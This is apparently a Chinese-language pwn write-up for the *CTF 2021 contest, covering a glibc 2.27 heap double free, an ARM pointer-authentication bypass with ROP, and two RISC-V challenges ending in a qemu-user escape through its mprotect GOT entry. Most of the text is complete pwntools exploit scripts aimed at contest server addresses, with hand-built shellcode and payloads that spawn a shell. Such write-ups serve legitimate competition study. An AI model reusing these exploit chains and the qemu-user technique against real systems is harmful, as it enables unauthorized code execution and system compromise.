[starCTF / *CTF 2021] Pwn方向writeup
babyheap
18.04 libc2.27堆题,delete有double free
白给题,触发malloc_consolidate
就可以leak+overlapping
了
EXP:
from pwn import *
#p = process("./pwn")
p = remote("52.152.231.198", 8081)
elf = ELF("./pwn")
#libc = ELF("./libc.so.6")
libc = ELF("./libc-2.27.so")
context.log_level = "debug"
def add(idx:int, size:int):
p.recvuntil(b">> \n")
p.sendline(b"1")
p.recvuntil(b"input index\n")
p.sendline(str(idx).encode())
p.recvuntil(b"input size\n")
p.sendline(str(size).encode())
def delete(idx:int):
p.recvuntil(b">> \n")
p.sendline(b"2")
p.recvuntil(b"input index\n")
p.sendline(str(idx).encode())
def edit(idx:int, content):
p.recvuntil(b">> \n")
p.sendline(b"3")
p.recvuntil(b"input index\n")
p.sendline(str(idx).encode())
p.recvuntil(b"input content\n")
p.send(content)
def show(idx:int):
p.recvuntil(b">> \n")
p.sendline(b"4")
p.recvuntil(b"input index\n")
p.sendline(str(idx).encode())
def leaveName(name):
p.recvuntil(b">> \n")
p.sendline(b"5")
p.recvuntil(b"your name:\n")
p.send(name)
def showName():
p.recvuntil(b">> \n")
p.sendline(b"6")
def exp():
# leak libc
for i in range(16):
add(i, 0x20) #0-9
for i in range(15):
delete(i) # del 0-9
leaveName(b"123123")
show(7)
libc_leak = u64(p.recvuntil(b"\n", drop=True).ljust(8, b"\x00"))
libc_base = libc_leak - 0x3ebe10
malloc_hook = libc_base + libc.symbols[b"__malloc_hook"]
free_hook = libc_base + libc.symbols[b"__free_hook"]
system = libc_base + libc.symbols[b"system"]
print("libc_leak:", hex(libc_leak))
print("libc_base:", hex(libc_base))
print("malloc_hook:", hex(malloc_hook))
print("free_hook:", hex(free_hook))
# overlapping && double free
add(0, 0x50) #0
edit(0, p64(0)*4+p64(0x61))
delete(8)
edit(0, p64(0)*4+p64(0x61)+p64(free_hook-0x8))
# attack free_hook
add(1, 0x50) #1
add(1, 0x50) #1
edit(1, p64(system))
print("free_hook:", hex(free_hook))
edit(0, p64(0)*4+p64(0x61)+b"/bin/sh\x00")
delete(8)
#gdb.attach(p)
p.interactive()
if __name__ == "__main__":
exp()
babypac
arm架构的题,有栈溢出机会
数据结构:
从0x412050开始的结构体数组
strcut aaa{
QWORD id;
QWORD lock;
};
分析:
- add函数将id设为你的输入,lock设为0
- lock函数将id设为sub_4009D8(id),lock设为1
- show函数当lock为0时候打印id,lock为1的时候不打印
- auth函数检查是否sub_4009d8(0x10A9FC70042)为id,是的话给栈溢出机会
这里有整数溢出,当idx由unsigned解释为int得时候为-2得时候,可控name就变为我们输入得,然后:
这里就可以绕过检测,来使得name为那个大整数从而溢出。溢出的话使用rop.可以mprotect改bss段,然后shellcode。使用通用gadget。或者自己构造。
思路:
- PACIA指令对跳转指针进行签名,签名结果被函数加密了,找shallow写了脚本解出签名后的指针
- 然后用csu gadget leak出puts的地址低三字节,拼接出完整地址
- ret回main同样的方法调用read往一个RW地址写入system_addr+b"/bin/sh\x00"
- ret回main同样的方法调用system(借助上一步写入的函数地址和参数)
EXP:
from pwnlib.util.iters import mbruteforce
import string
from hashlib import sha256
from pwn import *
import time
#p = process(argv=["qemu-aarch64","-cpu", "max", "-L", ".", "-g", "1234", "./chall"])
#p = process(argv=["qemu-aarch64","-cpu", "max", "-L", ".", "./chall"])
p = remote("52.255.184.147", 8080)
elf = ELF("./chall")
libc = ELF("./lib/libc.so.6")
context.log_level = "debug"
context.arch = "aarch64"
def add(_id:int):
p.recvuntil(b">> ")
p.sendline(b"1")
p.recvuntil(b"identity: ")
p.sendline(str(_id).encode())
def lock(idx):
p.recvuntil(b">> ")
p.sendline(b"2")
p.recvuntil(b"idx: ")
p.sendline(str(idx).encode())
def show():
p.recvuntil(b">> ")
p.sendline(b"3")
def auth(idx):
p.recvuntil(b">> ")
p.sendline(b"4")
p.recvuntil(b"idx: ")
p.sendline(str(idx).encode())
def unshiftleft(n , shift , mask = 0xffffffffffffffff):
res = n
temp = len(bin(n)[2:]) // shift + 1
for _ in range(temp):
res = n ^ ((res << shift) & mask)
return res
def unshiftright(n , shift , mask = 0xffffffffffffffff):
res = n
temp = len(bin(n)[2:]) // shift + 1
for _ in range(temp):
res = n ^ ((res >> shift) & mask)
return res
def unshift(c):
c = unshiftright(c , 13)
c = unshiftleft(c , 31)
c = unshiftright(c , 11)
c = unshiftleft(c , 7)
return c
# global const
bss_name = 0x412030
bss_list = 0x412050
curr_ret_addr = 0x400da4
csu_gadget_1 = 0x400FF8
csu_gadget_2 = 0x400FD8
puts_got = 0x411FD0
read_got = 0x411FD8
main_addr = 0x400F5C
def exp():
# set name
p.recvuntil(b"input your name: ")
name = p64(csu_gadget_1) + p64(0) + p64(0x10A9FC70042) + p64(0)
p.send(name) #0x3f000000400ff8
lock(-2)
add(0xdeadbeef) #0
show()
p.recvuntil(b"name: ")
encode_csu_gadget_1 = u64(p.recvuntil(b"\x01\n", drop=True))
print("encode_csu_gadget_1:", hex(encode_csu_gadget_1))
signed_csu_gadget_1 = unshift(encode_csu_gadget_1)
print("signed_csu_gadget_1:", hex(signed_csu_gadget_1))
lock(-1)
auth(-1)
# stack overflow
payload = b"a"*0x28
payload += p64(signed_csu_gadget_1)
payload += p64(csu_gadget_2)*2
payload += p64(0) + p64(1)
payload += p64(puts_got) + p64(puts_got)
payload += p64(0) + p64(0)
payload += p64(main_addr) + p64(main_addr)
payload += p64(csu_gadget_2)
p.sendline(payload)
libc_leak = p.recvuntil(b"\n", drop=True)
libc_leak = (libc_leak+b"\x00\x40").ljust(8, b"\x00")
puts = u64(libc_leak)
libc_base = puts - libc.symbols[b"puts"]
system = libc_base + libc.symbols[b"system"]
binsh = libc_base + next(libc.search(b"/bin/sh"))
mprotect = libc_base + libc.symbols[b"__mprotect"]
print("puts:", hex(puts))
print("libc_base:", hex(libc_base))
print("system:", hex(system))
print("binsh:", hex(binsh))
print("mprotect:", hex(mprotect))
# set name
p.recvuntil(b"input your name: ")
name = p64(csu_gadget_1) + p64(0) + p64(0x10A9FC70042) + p64(0)
p.send(name) #0x3f000000400ff8
lock(-2)
add(0xdeadbeef) #0
show()
p.recvuntil(b"name: ")
encode_csu_gadget_1 = u64(p.recvuntil(b"\x01\n", drop=True))
print("encode_csu_gadget_1:", hex(encode_csu_gadget_1))
signed_csu_gadget_1 = unshift(encode_csu_gadget_1)
print("signed_csu_gadget_1:", hex(signed_csu_gadget_1))
lock(-1)
auth(-1)
# stack overflow
payload = b"a"*0x28
payload += p64(signed_csu_gadget_1)
payload += p64(csu_gadget_2)*2
payload += p64(0) + p64(1)
payload += p64(read_got) + p64(0)
payload += p64(0x412060) + p64(100)
payload += p64(main_addr) + p64(main_addr)
payload += p64(csu_gadget_2)
p.sendline(payload)
p.sendline(p64(system)+b"/bin/sh\x00")
# set name
p.recvuntil(b"input your name: ")
name = p64(csu_gadget_1) + p64(0) + p64(0x10A9FC70042) + p64(0)
p.send(name) #0x3f000000400ff8
lock(-2)
add(0xdeadbeef) #0
show()
p.recvuntil(b"name: ")
encode_csu_gadget_1 = u64(p.recvuntil(b"\x01\n", drop=True))
print("encode_csu_gadget_1:", hex(encode_csu_gadget_1))
signed_csu_gadget_1 = unshift(encode_csu_gadget_1)
print("signed_csu_gadget_1:", hex(signed_csu_gadget_1))
lock(-1)
auth(-1)
# stack overflow
payload = b"a"*0x28
payload += p64(signed_csu_gadget_1)
payload += p64(csu_gadget_2)*2
payload += p64(0) + p64(1)
payload += p64(0x412060) + p64(0x412060+0x8)
payload += p64(0) + p64(0)
payload += p64(main_addr) + p64(main_addr)
payload += p64(csu_gadget_2)
p.sendline(payload)
p.interactive()
def proof_of_work(p):
p.recvuntil("xxxx+")
suffix = p.recv(16).decode("utf8")
p.recvuntil("== ")
cipher = p.recvline().strip().decode("utf8")
proof = mbruteforce(lambda x: sha256((x + suffix).encode()).hexdigest() ==
cipher, string.ascii_letters + string.digits, length=4, method='fixed')
p.sendlineafter("Give me xxxx:", proof)
if __name__ == "__main__":
proof_of_work(p)
exp()
Favourite Architecure flag1
RISCV PWN,憋shellcode
- 远程栈固定,本地写完后稍加修改就打通了远程
- 栈溢出后用主函数末尾的gadget跳到自定义的一个栈位置上开始执行编辑好的orw shellcode
- RISCV的shellcode编写可以借助Ghidra右键patch功能(会显示16进制代码)
EXP:
from pwn import *
#p = process(argv=["./qemu-riscv64", "-g", "1234", "./main"])
#p = process(argv=["./qemu-riscv64", "./main"])
p = remote("119.28.89.167", 60001)
#p = remote("127.0.0.1", 60001)
context.log_level = "debug"
#context.arch = "riscv64"
elf = ELF("./main")
# overflow offset: 0x120
# ret_addr: 0x11300
def exp():
p.recvuntil(b"Input the flag: ")
#p.sendline(b"a"*0x4b8)
## openat(root, "/home/pwn/flag")
shellcode = b"\x01\x45" #c.li a0, 0
shellcode += b"\x01\x11" #c.addi sp -0x20
shellcode += b"\x8a\x85" #c.mv a1, sp
shellcode += b"\x01\x46" #c.li a2, 0
shellcode += b"\x93\x08\x80\x03" #li a7, 56
shellcode += b"\x73\x00\x00\x00" #ecall
## read(flag_fd, reg_sp, 30)
shellcode += b"\x0d\x45" #c.li a0, 5
shellcode += b"\x8a\x85" #c.mv a1, sp
shellcode += b"\x13\x06\x20\x03" #c.li a2, 30
shellcode += b"\x93\x08\xf0\x03" #li a7, 63
shellcode += b"\x73\x00\x00\x00" #ecall
## write(1, reg_sp, 30)
shellcode += b"\x05\x45" #c.li a0, 5
shellcode += b"\x8a\x85" #c.mv a1, sp
shellcode += b"\x13\x06\x20\x03" #c.li a2, 30
shellcode += b"\x93\x08\x00\x04" #li a7, 63
shellcode += b"\x73\x00\x00\x00" #ecall
print("shellcode len:", hex(len(shellcode)))
shellcode = shellcode.ljust(0x40, b"\x00")+b"/home/pwn/flag\x00"
payload = b"a"*0x120+p64(0x1058a)
payload = payload.ljust(0x2c8, b"a")
payload += shellcode
payload = payload.ljust(0x320, b"a")
payload += p64(0x4000800e10)
p.sendline(payload)
p.interactive()
if __name__ == "__main__":
exp()
Favourite Architecure flag2
接着上一题,不过为了有足够的空间需要把shellcode的位置做调整,sp的位置做调整,以便读取/proc/self/maps
泄露地址
观察了qemu的源码以及实际测试发现,qemu-user没有做好地址隔离,如果泄露出地址后借助mprotect修改qemu got表所在段权限,修改mprotect函数got表就可以执行system("/bin/sh\x00")
坑点:
- shellcode位置要安排好,以免读文件覆盖掉shellcode
- qemu对
/proc/self/maps
路径做了限制,可以改成/home/**/proc/self/maps
来绕过 - qemu-user地址隔离做的不好,直接vmmap虽然看不到qemu的内存,但是可以用mprotect修改其权限,改掉之后在调试器中hexdump就可以看到内存了
如果想修改
mprotect_got
指向system
要注意,在进入mprotect
系统调用时qemu会检查第一个参数的地址是否页对齐,对齐了才会callmprotect_got
上的指针。这导致在利用时需要先把flag存到bss或者data段某些页对齐的地址上(大坑源码:
if ((start & ~TARGET_PAGE_MASK) != 0) return -EINVAL;
- 注意
li
指令立即数大小有限制,可以结合位运算扩大
EXP:
from pwn import *
import time
#p = process(argv=["./qemu-riscv64", "-g", "1234", "./main"])
#p = process(argv=["./qemu-riscv64", "./main"])
p = remote("119.28.89.167", 60001)
#p = remote("127.0.0.1", 60001)
libc = ELF("./libc-2.27.so")
context.log_level = "debug"
#context.arch = "riscv64"
elf = ELF("./main")
# overflow offset: 0x120
# ret_addr: 0x11300
def exp():
p.recvuntil(b"Input the flag: ")
#p.sendline(b"a"*0x4b8)
## openat(root, path, 0)
shellcode = b"\x01\x45" #c.li a0, 0
shellcode += b"\x8a\x85" #c.mv a1, sp
shellcode += b"\x01\x46" #c.li a2, 0
shellcode += b"\x93\x08\x80\x03" #li a7, 56
shellcode += b"\x73\x00\x00\x00" #ecall
## read(flag_fd, reg_sp, 30)
shellcode += b"\x0d\x45" #c.li a0, 3
#shellcode += b"\x15\x45" #c.li a0, 5
shellcode += b"\x13\x01\x01\xb0" #addi sp, sp, -0x500
shellcode += b"\x8a\x85" #c.mv a1, sp
shellcode += b"\x13\x01\x01\x50" #addi sp, sp, 0x500
shellcode += b"\x13\x06\x00\x32" #li a2, 0x1b0
shellcode += b"\x93\x08\xf0\x03" #li a7, 63
shellcode += b"\x73\x00\x00\x00" #ecall
## write(1, reg_sp, 30)
shellcode += b"\x05\x45" #c.li a0, 1
shellcode += b"\x13\x01\x01\xb0" #addi sp, sp, -0x500
shellcode += b"\x8a\x85" #c.mv a1, sp
shellcode += b"\x13\x01\x01\x50" #addi sp, sp, 0x500
shellcode += b"\x13\x06\x00\x32" #li a2, 0x1b0
shellcode += b"\x93\x08\x00\x04" #li a7, 63
shellcode += b"\x73\x00\x00\x00" #ecall
## read(0, reg_sp, 0x10)
shellcode += b"\x01\x45" #c.li a0, 0
shellcode += b"\x13\x01\x01\xb0" #addi sp, sp, -0x500
shellcode += b"\x8a\x85" #c.mv a1, sp
shellcode += b"\x13\x01\x01\x50" #addi sp, sp, 0x500
shellcode += b"\x41\x46" #c.li a2, 0x10
shellcode += b"\x93\x08\xf0\x03" #li a7, 63
shellcode += b"\x73\x00\x00\x00" #ecall
shellcode += b"\x13\x01\x01\xb0" #addi sp, sp, -0x500
shellcode += b"\x02\x64" #c.ldsp s0, 0x0(sp) => qemu_base_2
shellcode += b"\xa2\x64" #c.ldsp s1, 0x8(sp) => mprotect_got
shellcode += b"\x13\x01\x01\x50" #addi sp, sp, 0x500
## mprotect(start, len, 7)
shellcode += b"\x13\x05\x04\x00" #mv a0, s0
shellcode += b"\x93\x05\xc0\x03" #li a1, 0x3c
shellcode += b"\x93\x95\xc5\x00" #slli a1, a1, 0xc
shellcode += b"\x1d\x46" #c.li a2, 0x7
shellcode += b"\x93\x08\x20\x0e" #li a7, 226(mprotect)
shellcode += b"\x73\x00\x00\x00" #ecall
## write(1, mprotect_got, 0x8)
shellcode += b"\x05\x45" #c.li a0, 1
shellcode += b"\xa6\x85" #c.mv a1, s1
shellcode += b"\x13\x06\x80\x00" #li a2, 0x8
shellcode += b"\x93\x08\x00\x04" #li a7, 63
shellcode += b"\x73\x00\x00\x00" #ecall
## read(0, mprotect_got, 8)
shellcode += b"\x01\x45" #c.li a0, 0
shellcode += b"\x93\x85\x04\x00" #mv a1, s1 => mprotect_got
shellcode += b"\x21\x46" #c.li a2, 0x8
shellcode += b"\x93\x08\xf0\x03" #li a7, 63
shellcode += b"\x73\x00\x00\x00" #ecall
## store "/bin/sh" to 0x6d000 (PAGE_MASK_ADDR)
shellcode += b"\x13\x01\x81\x01" #addi sp, 0x18
shellcode += b"\x03\x39\x01\x00" #ld s2, 0x0(sp) load "/bin/sh"
shellcode += b"\x13\x01\x81\xfe" #addi sp, -0x18
shellcode += b"\x13\x01\xd0\x06" #li sp, 0x6d
shellcode += b"\x13\x11\xc1\x00" #slli sp, sp, 0x4
shellcode += b"\x23\x30\x21\x01" #sd s2, 0x0(sp) store "/bin/sh"
## system("/bin/sh")
shellcode += b"\x13\x05\x01\x00" #mv a0, sp
shellcode += b"\x93\x05\xc0\x03" #li a1, 0x3c
shellcode += b"\x93\x95\xc5\x00" #slli a1, a1, 0x18
shellcode += b"\x1d\x46" #c.li a2, 0x7
shellcode += b"\x93\x08\x20\x0e" #li a7, 226(mprotect)
shellcode += b"\x73\x00\x00\x00" #ecall
print("shellcode len:", hex(len(shellcode)))
payload = b"a"*0x120+p64(0x1058a)
payload += shellcode
payload = payload.ljust(0x320, b"a")
payload += p64(0x4000800c70)
payload += b"/proc/self/task/../maps\x00/bin/sh\x00"
p.sendline(payload)
#time.sleep(1)
for i in range(6):
p.recvuntil(b"\n")
qemu_base = int(p.recvuntil(b"-", drop=True), 16)
p.recvuntil(b"\n")
qemu_base_2 = int(p.recvuntil(b"-", drop=True), 16)
p.recv()
do_syscall_1 = qemu_base + 0x141100
do_syscall = qemu_base + 0x14cb50
mprotect_got = qemu_base + 0x6A3200
print("[*] qemu_base:", hex(qemu_base))
print("[*] do_syscall_1:", hex(do_syscall_1))
print("[*] mprotect_got:", hex(mprotect_got))
print("[*] qemu_base_2:", hex(qemu_base_2))
p.send(p64(qemu_base_2)+p64(mprotect_got))
mprotect_libc = u64(p.recv(8))
libc_base = mprotect_libc - libc.symbols[b"__mprotect"]
system = libc_base + libc.symbols[b"system"]
print("[*] mprotect_libc:", hex(mprotect_libc))
print("[*] libc_base:", hex(libc_base))
print("[*] system:", hex(system))
p.send(p64(system))
p.interactive()
if __name__ == "__main__":
exp()